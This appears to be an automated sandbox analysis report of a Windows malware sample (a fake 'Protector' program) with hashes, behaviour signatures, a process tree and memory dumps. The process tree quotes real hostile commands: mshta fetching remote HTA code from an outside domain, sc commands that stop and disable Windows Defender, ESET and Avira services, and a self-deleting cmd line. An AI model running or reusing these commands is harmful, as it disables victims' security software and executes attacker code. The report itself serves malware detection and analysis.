Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    23/07/2024, 00:59

General

  • Target

    6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe

  • Size

    1.8MB

  • MD5

    6585f4bb6affc9cbafd941e260322759

  • SHA1

    039773d81b787cd56eaf831503330f21299d1f6f

  • SHA256

    b21adf64f103e94fb0150da6efe567af547c7ca48a1c09aaa99bad7f8d33fbad

  • SHA512

    3a096ba666bc2b15d86881c2ee877b4843f734062c5534ad660db662b2b453d08744daeb7e3e7f982e2f52dbc9a87e118ffa3d16be8b1b0a0c14fb317031f11d

  • SSDEEP

    49152:If7xgiTYZbruT5Koqf8Dm98YJiJcyWnMlo:gY3uVxT1Y0JzWM+

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.onlinesecstats.info/?0=127&1=0&2=1&3=60&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=pnsotxnksp&14=1

Signatures

  • Disables service(s) 3 TTPs
  • UAC bypass 3 TTPs 3 IoCs
  • Disables taskbar notifications via registry modification
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 33 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2720
    • C:\Users\Admin\AppData\Roaming\Protector-vitw.exe
      C:\Users\Admin\AppData\Roaming\Protector-vitw.exe
      2⤵
      • UAC bypass
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Drops file in System32 directory
      • Modifies Internet Explorer settings
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:2240
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://galaint.onlinesecstats.info/?0=127&1=0&2=1&3=60&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=pnsotxnksp&14=1"
        3⤵
        • Modifies Internet Explorer settings
        PID:2588
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        PID:2192
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        PID:800
      • C:\Windows\SysWOW64\sc.exe
        sc stop msmpsvc
        3⤵
        • Launches sc.exe
        PID:2160
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        PID:2184
      • C:\Windows\SysWOW64\sc.exe
        sc config ekrn start= disabled
        3⤵
        • Launches sc.exe
        PID:1816
      • C:\Windows\SysWOW64\sc.exe
        sc stop AntiVirService
        3⤵
        • Launches sc.exe
        PID:1940
      • C:\Windows\SysWOW64\sc.exe
        sc config AntiVirService start= disabled
        3⤵
        • Launches sc.exe
        PID:1320
      • C:\Windows\SysWOW64\sc.exe
        sc config AntiVirSchedulerService start= disabled
        3⤵
        • Launches sc.exe
        PID:1932
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\6585F4~1.EXE" >> NUL
      2⤵
        PID:2596

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • \Users\Admin\AppData\Roaming\Protector-vitw.exe

      Filesize

      1.8MB

      MD5

      6585f4bb6affc9cbafd941e260322759

      SHA1

      039773d81b787cd56eaf831503330f21299d1f6f

      SHA256

      b21adf64f103e94fb0150da6efe567af547c7ca48a1c09aaa99bad7f8d33fbad

      SHA512

      3a096ba666bc2b15d86881c2ee877b4843f734062c5534ad660db662b2b453d08744daeb7e3e7f982e2f52dbc9a87e118ffa3d16be8b1b0a0c14fb317031f11d

    • memory/2240-67-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-66-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-65-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-64-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-63-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-62-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-61-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-60-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-59-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-57-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-56-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-55-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-54-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-52-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-50-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2240-32-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2720-11-0x00000000033C0000-0x00000000033C3000-memory.dmp

      Filesize

      12KB

    • memory/2720-8-0x00000000033C0000-0x0000000003630000-memory.dmp

      Filesize

      2.4MB

    • memory/2720-15-0x00000000001C0000-0x00000000001C1000-memory.dmp

      Filesize

      4KB

    • memory/2720-30-0x0000000000290000-0x00000000002EA000-memory.dmp

      Filesize

      360KB

    • memory/2720-31-0x0000000004560000-0x0000000004949000-memory.dmp

      Filesize

      3.9MB

    • memory/2720-16-0x0000000003400000-0x0000000003401000-memory.dmp

      Filesize

      4KB

    • memory/2720-29-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2720-27-0x0000000004560000-0x0000000004949000-memory.dmp

      Filesize

      3.9MB

    • memory/2720-17-0x00000000033F0000-0x00000000033F1000-memory.dmp

      Filesize

      4KB

    • memory/2720-18-0x00000000033E0000-0x00000000033E1000-memory.dmp

      Filesize

      4KB

    • memory/2720-53-0x0000000004560000-0x0000000004949000-memory.dmp

      Filesize

      3.9MB

    • memory/2720-14-0x00000000001B0000-0x00000000001B1000-memory.dmp

      Filesize

      4KB

    • memory/2720-9-0x00000000033C0000-0x00000000034C0000-memory.dmp

      Filesize

      1024KB

    • memory/2720-10-0x00000000033D0000-0x00000000033D1000-memory.dmp

      Filesize

      4KB

    • memory/2720-7-0x0000000002100000-0x0000000002101000-memory.dmp

      Filesize

      4KB

    • memory/2720-12-0x0000000003410000-0x0000000003411000-memory.dmp

      Filesize

      4KB

    • memory/2720-13-0x0000000003410000-0x0000000003411000-memory.dmp

      Filesize

      4KB

    • memory/2720-0-0x0000000000400000-0x00000000007E9000-memory.dmp

      Filesize

      3.9MB

    • memory/2720-1-0x0000000000290000-0x00000000002EA000-memory.dmp

      Filesize

      360KB

    • memory/2720-2-0x0000000002160000-0x0000000002161000-memory.dmp

      Filesize

      4KB

    • memory/2720-3-0x00000000022E0000-0x00000000022E1000-memory.dmp

      Filesize

      4KB

    • memory/2720-4-0x00000000022D0000-0x00000000022D1000-memory.dmp

      Filesize

      4KB

    • memory/2720-5-0x00000000022F0000-0x00000000022F1000-memory.dmp

      Filesize

      4KB

    • memory/2720-6-0x00000000022B0000-0x00000000022B1000-memory.dmp

      Filesize

      4KB